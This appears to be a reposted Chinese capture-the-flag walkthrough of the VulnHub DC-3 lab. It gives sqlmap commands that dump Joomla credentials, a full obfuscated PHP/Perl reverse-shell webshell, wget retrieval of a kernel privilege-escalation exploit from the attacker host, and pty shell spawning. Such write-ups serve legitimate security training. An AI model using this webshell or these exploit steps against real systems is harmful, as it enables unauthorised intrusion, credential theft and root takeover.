vulnhub靶机-DC系列-DC-3

news2024/11/25 23:35:14

文章目录

    • 信息收集
          • 漏洞查找
          • 漏洞利用
            • SQL注入
            • John工具密码爆破
            • 反弹shell
          • 提权

信息收集

主机扫描

arp-scan -l

image-20230928110452414

可以用netdiscover 它是一个主动/被动的ARP 侦查工具。使用Netdiscover工具可以在网络上扫描IP地址,检查在线主机或搜索为它们发送的ARP请求。

netdiscover -r 192.168.160.0/24

说明:

  • netdiscover: 这是一个网络探测工具的命令,用于执行本地网络中的主机发现。
  • -r 192.168.160.0/24: 这是一个命令的选项参数,指定了要进行主机发现的 IP 地址范围。在这个例子中,IP 地址范围是 192.168.160.0/24,表示从 192.168.160.1192.168.160.254 的所有 IP 地址。

当执行这个命令时,netdiscover 将发送 ARP 请求广播到指定的 IP 地址范围内的每个主机,并通过监听并收集其回应来确定哪些主机是活动的。通过这种方式,可以快速发现目标网络中的活动主机,以便进行进一步的分析或测试。

image-20230928115237049

端口扫描

nmap -A 192.168.160.35 

说明:

​ -A #全面扫描

nmap扫描工具使用

image-20230928115455076

发现80端口可用,用的是Joomlacms

浏览器访问DC-3的 80端口,用Wappalyzer插件,也可以看出是Joomla

发现80端口可用,用的是Joomlacms

浏览器访问DC-3的 80端口,用Wappalyzer插件,也可以看出是Joomla

image-20230928115656525

目录爆破

sudo python3 dirsearch.py -u 192.168.160.35 -i 200

说明:

-u URL # URL目标
-i #状态码

image-20230928144854404

也可以用御剑后台扫描工具

image-20230928150120062

也可以用nikto扫描 Nikto

image-20230928150450979

进入后台管理页面

image-20230928150824051

image-20230928151157653

漏洞查找

joomscan

joomscan是一款开源的且针对joomla的扫描器,kali可以用命令apt install joomscan安装该工具。

joomscan -u 192.168.160.35

image-20230928175049004

searchsploit

searchsploit是一款kali自带的搜索漏洞信息的模块,可参考searchsploit漏洞查找工具使用指南

searchsploit是一个基于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。
Exploit-DB是一个漏洞库,Kali Linux中保存了一个该漏洞库的拷贝,可以查找需要的渗透模块,它将搜索所有的漏洞和shellcode而且该漏洞库是保存在本地的,在没有网络的情况下也可以使用。

# 搜索 joomla 3.7.0版本的漏洞
searchsploit joomla 3.7.0

image-20230928152747066

发现有SQL注入漏洞和跨站脚本漏洞


使用find命令找出42033.txt的位置

find / -name '42033.txt'

image-20230928152938854

查看文件内容

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

image-20230928153124436

给出了注入方法

漏洞利用
SQL注入
  • 列出所有数据库
sqlmap -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]  

说明:

  • -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml": 这是一个选项参数,指定要进行注入测试的目标 URL。在这个例子中,目标 URL 是 http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml
  • --risk=3: 这是一个选项参数,指定进行注入测试的风险级别(0-3,默认为1)。这里,风险级别被设置为 3,表示使用最高的风险级别进行测试。风险级别越低但是越安全
  • --level=5: 这是一个选项参数,指定进行注入测试的深度级别。sqlmap默认测试所有的GET和POST参数,当–level的值大于等于2的时候也会测试HTTP Cookie头的值,当大于等于3的时候也会测试User-Agent和HTTP Referer头的值。最高为5
  • --random-agent: 这是一个选项参数,指定在测试请求中使用随机的 User-Agent 头,以隐藏工具的身份。
  • --dbs: 这是一个选项参数,指示 sqlmap 在发现数据库后列出数据库名称。
  • -p list[fullordering]: 这是一个选项参数,指定要测试的注入点参数。在这个例子中,参数 list[fullordering] 被指定为注入点。

执行这个命令时,sqlmap 将使用给定的参数和选项对目标 URL 进行注入测试。它将尝试发现 SQL 注入漏洞,并进一步探测和利用这些漏洞。通过设置风险级别和深度级别,可以增强测试的准确性和深度。

image-20230928154056375

执行结果:

image-20230928154129688

  • 列出指定数据库的所有表

    sqlmap -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]
    

    说明:

    --tables # 列出表

    执行结果:

    image-20230928155641772

  • 列出指定库指定表的字段名

    sqlmap -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --column  -p list[fullordering]
    

image-20230928160334098

  • 获取用户名和密码
sqlmap -u "http://192.168.160.35/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T "#__users" -C username,password  -p list[fullordering] --dump

说明:

  • -D joomladb: 这是一个选项参数,指定要查询的数据库名称。在这里数据库名称被指定为 joomladb
  • -T "#__users": 这是一个选项参数,指定要查询的数据表名称。这里数据表名称被指定为 #__users
  • -C username,password: 这是一个选项参数,指定要查询和显示的列名称。这里列名称被指定为 usernamepassword
  • -p list[fullordering]: 这是一个选项参数,指定要测试的注入点参数。这里参数 list[fullordering] 被指定为注入点。
  • --dump: 这是一个选项参数,指示 sqlmap 在发现脆弱点后,从数据库中导出数据。

image-20230928160805392

执行结果:

image-20230928160821299

发现用户的密码做了加密

John工具密码爆破

john 是一款大受欢迎的、免费的开源软件、基于字典的密码破解工具。

利用John工具,对该密码进行爆破拆解,工具详细信息参考John介绍及常用命令使用说明

先在桌面创建一个文件,将得到的用户密码的hash值复制进去并保存,使用john破解。

image-20230928161938876

john passwd.txt

执行结果:

image-20230928162145975

得到密码后,登录后台界面

反弹shell

登陆后,就要开始寻找有没有可以getshell的地方,这类的cms肯定是有上传文件的地方,这里可以上传一个一句话木马,用蚁剑进行连接,也可以写一个php,反弹shell到我们的攻击机上,这边,经过寻找发现了有个templates的beez3的目录

image-20230928162720294

image-20230928162805035

image-20230928162824698

image-20230928162905931

写入php反弹shell

在这里插入图片描述

反弹代码:

<?php
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr);
	}
function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
			} 
			elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
			} elseif(function_exists('system')) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,"r"))) {
$res = '';
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,'w')) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}
$yourip = "your IP";
$yourport = 'your port';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
cf('/tmp/.bc',$back_connect);
$res = execute(which('perl')." /tmp/.bc $yourip $yourport &");
?> 

保存就上传好啦,再根据joomla的特性,模块会单独放在一个文件夹里/templates/,而beez3模块就在/templates/beez3/里面,刚才创建的shell路径为

http://192.168.160.35/templates/beez3/webshell.php

用kali来监听

nc -lvvp 7777

image-20230928164322017

浏览器访问shell.php的地址http://192.168.160.35/templates/beez3/webshell.php

image-20230928164358398

反弹成功!!!

image-20230928164424650

Get交互shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

说明:

  • python3: 这是执行 Python 解释器的命令。
  • -c 'import pty; pty.spawn("/bin/bash")': 这是一个以字符串方式传递给 Python 解释器的脚本。脚本导入了 pty 模块,并使用 pty.spawn() 函数来启动一个新的 /bin/bash 终端。

当你在终端中执行这个命令时,它会调用 Python 解释器并执行指定的脚本。脚本导入 pty 模块,并使用 pty.spawn() 函数来生成一个新的伪终端(shell)。这样,你就可以与一个交互式的终端进行交互,就像运行 /bin/bash 一样。

它通常在渗透测试或特权升级等情况下使用。它允许将一个非交互式的终端(shell)转变为一个可交互的终端,从而获取更多的权限和控制。

image-20230928164736863

交互shell获取成功,但是还不是root权限

提权

查看操作系统版本信息

tac /etc/issue

说明:

tac 是一个命令行工具,用于反向显示文件的内容。/etc/issue 是一个特定的文件路径,代表系统登录时显示的欢迎信息。

当你在终端中执行 tac /etc/issue 命令时,它会打开 /etc/issue 文件并以相反的顺序显示文件的内容。换句话说,它会将文件的最后一行显示在第一行,倒数第二行显示在第二行,以此类推,直到第一行显示在最后。

在许多 Linux 发行版中,/etc/issue 文件通常包含一个欢迎信息,用于在用户登录或启动时显示系统的版本、主机名等相关信息。使用 tac /etc/issue 命令可以反向显示这个欢迎信息,从底部开始逐行显示。

image-20230928165217932

cat /proc/version

说明:

cat /proc/version 是一个用于在 Linux 系统中查看内核版本信息的命令。

在 Linux 中,/proc 目录是一个虚拟文件系统,提供了对运行中的内核和进程信息的访问。其中的 /proc/version 文件包含有关内核版本的详细信息。

image-20230928165731250

再次使用searchsploit工具搜索漏洞

searchsploit Ubuntu 16.04

image-20230928170302284

Privilege Escalation(提权),这里我们使用通用4.4.x版本的提权方式

使用find命令查找路径

find / -name '39772.txt'

执行结果:

image-20230928170537979

绝对路径为:/usr/share/exploitdb/exploits/linux/local/39772.txt

也可以直接用searchsploit -p linux/local/39772.txt会直接显示出绝对路径

image-20230928170753467

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

image-20230928171105293

溢出提权(exp提权)

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

下载39772.zip,粘贴复制到kali里(不能拖到kali里面,否则会出现丢包的现象)

image-20230928171407746

image-20230928171423420

在桌面开启http服务,将下载好的文件导入到DC-3靶机里

python3 -m http.server 8888

image-20230928172418850

浏览器进行访问http://192.168.160.32:8888

image-20230928172350338

出现这个说明服务开启成功,exp地址是

http://192.168.160.32:8888/39772/exploit.tar

回到刚才的python交互shell

wget http://192.168.160.32:8888/39772/exploit.tar

image-20230928172619740

image-20230928172710189

下载完后用tar命令解压该压缩包

tar -xvf exploit.tar

image-20230928172829442

cd ebpf_mapfd_doubleput_exploit

image-20230928172919917

执行

./compile.sh
./doubleput

image-20230928173222433

使用whoamiid查看当前用户和用户id

image-20230928173324353

切换到root的家目录

image-20230928173507534

查看the-flag.txt

image-20230928173551641

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1048404.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux或Centos查看CPU和内存占用情况_top只能查看对应的命令_如何查看具体进程---linux工作笔记062

一般我们都是用top去查看,但是top查看的结果,不能看出,具体是哪个程序占用的,这就很苦恼.. 其实如果有时间的话,再去专门看一下网络安全和linux脚本以及命令方面的,比较系统的看一下比较好.现在积累的都是工作中用到的,比较零散的知识. 如果用top,比如说这里的java,就只能知道…

云服务器租用价格表概览_阿里云腾讯云华为云

云服务器租用价格多少钱一年&#xff1f;阿腾云分享阿里云、腾讯云和华为云的云服务器租用价格表&#xff1a;阿里云2核2G服务器108元一年起、腾讯云2核2G3M带宽轻量服务器95元一年、华为云2核2G3M云耀L实例89元一年起&#xff0c;阿腾云分享更多关于云服务器租用价格明细&…

eNSP网络学习-v05

IP容量 ip地址一共是32位&#xff0c;/24就表示他的网络号是24位。 也就是说共有 2^&#xff08;32-24&#xff09;-2 个主机&#xff08;因为主机为全0和1的保留不用&#xff0c;所以需要减2&#xff09;&#xff0c;共254个ip。 /24&#xff1a;2的8次方-2 &#xff1a;254 …

安达发|APS生产排程软件给化工行业带来的价值

化工行业是一个涵盖了广泛的领域&#xff0c;包括石油化工、有机化工、无机化工、精细化工、生物化工等。 化工行业是指以化学工艺为基础&#xff0c;通过化学反应制取化学品的工业。根据生产工艺和产品性质&#xff0c;化工行业可以分为以下几类&#xff1a; 1. 石油化工&…

Hash Index 原理和应用精讲

线上沙龙 - 技术流第 35 期回放来啦 本期直播我们邀请到 KaiwuDB 高级研发工程师徐胜康&#xff0c;为大家分享 Hash Index 原理和应用。徐老师曾任职于 Sun Micro Systems, Lucent 等公司&#xff0c;具备多年 Linux/UNIX Operating System 内核、驱动、文件系统、数据库、研…

十八,镜面IBL-打印预过滤环境贴图

前面打印了各个级别的hdr环境贴图&#xff0c;也能看到预过滤环境贴图&#xff0c;现在进行打印各个级别的预过滤环境贴图。 运行结果如下 代码如下&#xff1a; #include <osg/TextureCubeMap> #include <osg/TexGen> #include <osg/TexEnvCombine> #…

智慧工地管理系统源码(电脑端+手机端+APP+SAAS云平台)

智慧工地是指通过一系列先进的技术手段&#xff0c;实现施工现场的智能化管理&#xff0c;其核心是利用物联网技术&#xff0c;将施工现场的各种设备、机械、材料、人员等进行全面实时地监测和控制&#xff0c;以实现资源的最优配置和高效利用。 一、概述 智慧工地管理系统&am…

Linux虚拟机无法联网

问题描述 Centos7&#xff0c;配置了静态IP后&#xff0c;无法联网 解决方式 虚拟机连接不上网络&#xff0c;解决办法_虚拟机连不上网络-CSDN博客 根据上面文章一步步做。 发现 在Windows的cmd中&#xff0c;可以ping通我的Linux虚拟机 但是&#xff0c;在虚拟机里 无法 …

第九章 动态规划 part12 309. 最佳买卖股票时机含冷冻期 714. 买卖股票的最佳时机含手续费

第五十一天| 第九章 动态规划 part12 309. 最佳买卖股票时机含冷冻期 714. 买卖股票的最佳时机含手续费 一、309. 最佳买卖股票时机含冷冻期 题目链接&#xff1a;https://leetcode.cn/problems/best-time-to-buy-and-sell-stock-with-cooldown/ 题目介绍&#xff1a; 给定一…

layui 树状控件tree优化

先上效果图&#xff1a; 我选的组件是这个&#xff1a; 动态渲染完后&#xff0c;分别在窗体加载完成&#xff0c;节点点击事件分别加入js&#xff1a; //侧边栏图标替换//layui-icon-subtraction$(function () {$(".layui-icon-file").addClass("backs&quo…

【广州华锐互动】鱼类授精繁殖VR虚拟仿真实训系统

随着科技的不断发展&#xff0c;虚拟现实技术在各个领域的应用越来越广泛。在养殖业中&#xff0c;VR技术可以帮助养殖户进行家鱼授精实操演练&#xff0c;提高养殖效率和繁殖成功率。本文将介绍利用VR开展家鱼授精实操演练的方法和应用。 首先&#xff0c;我们需要了解家鱼授精…

QT基础入门——认识与创建QT(一)

前言&#xff1a; 前面学了Linux的基础命令、系统编程、网络编程&#xff0c;对LInux的使用也有了一个简单的了解与认识&#xff0c;之后的学习就要用到 imx6ull_pro这款开发板进行学习了&#xff0c;所以在使用前还是决定把QT的基础知识学习一下&#xff0c;好在后面的linu…

GeoPandas 基本使用

1.GeoPandas是什么 geopandas是一个开源项目&#xff0c;它的目的是使得在Python下更方便的处理地理空间数据。geopandas扩展了pandas的数据类型&#xff0c;允许其在几何类型上进行空间操作。geopandas主要结合了pandas和shapely框架的能力。 shapely 有一个名为 geometry 的类…

【DTEmpower案例操作教程】智能数据挖掘

DTEmpower是由天洑软件自主研发的一款通用的智能数据建模软件&#xff0c;致力于帮助工程师及工科专业学生&#xff0c;利用工业领域中的仿真、试验、测量等各类数据进行挖掘分析&#xff0c;建立高质量的数据模型&#xff0c;实现快速设计评估、实时仿真预测、系统参数预警、设…

m4a怎么转换mp3?4个方法包教包会

m4a怎么转换mp3&#xff1f;M4A是一种备受欢迎的音频文件格式&#xff0c;通常用于存储高保真音频数据。它代表着“MPEG-4 Audio”扩展名&#xff0c;这意味着它属于基于MPEG-4标准的音频格式之一。M4A格式有着众多的优势。首先&#xff0c;它能够提供出色的音质&#xff0c;并…

html、css学习记录【uniapp前奏】

Html 声明&#xff1a;该学习笔记源于菜鸟自学网站&#xff0c;特此记录笔记。很多示例源于此官网&#xff0c;若有侵权请联系删除。 文章目录 Html声明&#xff1a; CSS 全称 Cascading Style Sheets&#xff0c;层叠样式表。是一种用来为结构化文档&#xff08;如 HTML 文档…

在微信小程序中跳转到另一个小程序(多种实现方式)

方式一&#xff1a; 配置要跳转的appid和小程序页面路径 wx.navigateToMiniProgram({appId: 目标小程序appid,path: 目标小程序页面路径,//develop开发版&#xff1b;trial体验版&#xff1b;release正式版envVersion: release, success(res) {// 打开成功console.log("跳…

【MATLAB源码-第38期】基于OFDM的块状导频和梳状导频误码率性能对比,不同信道估计方法以及不同调制方式对比。

1、算法描述 块状导频和梳状导频都是用于无线通信系统中信道估计的方法。 块状导频&#xff1a; 定义&#xff1a; 在频域上&#xff0c;块状导频是连续放置的一组导频符号。这意味着所有的导频符号都集中在一个短的时间段内发送。 优点&#xff1a; 对于时间选择性信道&#…

项目管理常用工具有哪些?

项目管理常用的工具有很多&#xff0c;以下是一些常见的工具&#xff1a; 1. 甘特图&#xff1a;甘特图是一种图形化的工具&#xff0c;用于展示项目的时间计划和任务进度。它可以清晰地显示项目中各个任务的开始时间、结束时间以及任务之间的依赖关系。 2. 工作分解结构&#…

ChatGPT必应联网功能正式上线

今日凌晨发现&#xff0c;ChatGPT又支持必应联网了&#xff01;虽然有人使用过newbing这个阉割版的联网GPT4&#xff0c;但官方版本确实更加便捷好用啊&#xff01; 尽管 ChatGPT 此前已经展现出了其他人工智能模型无可比拟的智能&#xff0c;但由于其训练数据的限制&#xff…